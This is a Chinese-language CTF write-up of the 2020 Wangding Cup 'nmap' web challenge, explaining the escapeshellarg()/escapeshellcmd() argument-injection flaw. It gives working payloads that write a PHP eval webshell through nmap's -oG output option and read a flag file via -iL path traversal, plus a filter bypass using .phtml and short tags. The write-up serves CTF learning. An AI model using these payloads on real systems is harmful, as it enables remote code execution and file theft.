当前位置:网站首页>2020网鼎杯_朱雀组_Web_nmap
2020网鼎杯_朱雀组_Web_nmap
2022-07-06 09:15:00 【Her&mes】
WP
两个考察点
1.考察nmap的使用
2.考察escapeshellarg()与escapeshellcmd()混合使用的漏洞
第一个还好说,题目告诉了
第二个点嘛,不知道,完全不知道是从哪里获取到的,自闭ing
看其他师傅的wp,提到了[BUUCTF 2018]Online Tool,一道代码审计题,直接告诉了参数经过escapeshellarg()与escapeshellcmd()处理
两道题考察的点不能说一样,只能说完全一致。
nmap要用输出相关的参数
在nmap中文网里查阅能有以下结果:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
还有其他一些杂七杂八的输出,可以去看看,这里用-oG 构造payload
payload的主体是
<?php @eval($_POST["hack"]);?> -oG hack.php
然而发送后回显hacker字样
有过滤,进行fuzz测试,php被过滤了,但是phtml没有,并且用php的短标签能代替<?php,即有:
<?= @eval($_POST["hack"]);?> -oG hack.phtml
到这里还不行,这样的parload经过escapeshellarg()与escapeshellcmd()函数处理,没法产生文件
解决办法很简单,加空格和单引号就行,这样能产生可被正常解析的php文件
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
具体的原理看大佬写的PHP escapeshellarg()+escapeshellcmd() 之殇
在CSDN上还有其他师傅写的关于escapeshellarg()与escapeshellcmd()的分析,浅显易懂
除了写入webshell,还有直接读的方法,利用了-iL参数
' -iL ../../../../flag -o a '
直接访问a就行,下面也可以这样,不过要访问a’
' -iL ../../../../flag -o a
原因也是那两个函数。
边栏推荐
- [蓝桥杯2020初赛] 平面切分
- Vs2019 desktop app quick start
- When you open the browser, you will also open mango TV, Tiktok and other websites outside the home page
- What does BSP mean
- 快来走进JVM吧
- Reading BMP file with C language
- L2-004 这是二叉搜索树吗? (25 分)
- What does usart1 mean
- Niuke novice monthly race 40
- Learn winpwn (2) -- GS protection from scratch
猜你喜欢
QT creator support platform
PyCharm中无法调用numpy,报错ModuleNotFoundError: No module named ‘numpy‘
Why can't I use the @test annotation after introducing JUnit
vs2019 使用向导生成一个MFC应用程序
Picture coloring project - deoldify
机器学习--人口普查数据分析
Reading BMP file with C language
保姆级出题教程
机器学习笔记-Week02-卷积神经网络
Introduction and use of automatic machine learning framework (flaml, H2O)
随机推荐
ES6 Promise 对象
Integration test practice (1) theoretical basis
软件测试与质量学习笔记3--白盒测试
Remember a company interview question: merge ordered arrays
数数字游戏
When you open the browser, you will also open mango TV, Tiktok and other websites outside the home page
Django running error: error loading mysqldb module solution
机器学习笔记-Week02-卷积神经网络
AcWing 1294. Cherry Blossom explanation
[Blue Bridge Cup 2017 preliminary] grid division
Armv8-a programming guide MMU (2)
Unable to call numpy in pycharm, with an error modulenotfounderror: no module named 'numpy‘
Summary of numpy installation problems
ES6 let and const commands
L2-006 树的遍历 (25 分)
[number theory] divisor
AcWing 179. Factorial decomposition problem solution
Some notes of MySQL
Valentine's Day flirting with girls to force a small way, one can learn
double转int精度丢失问题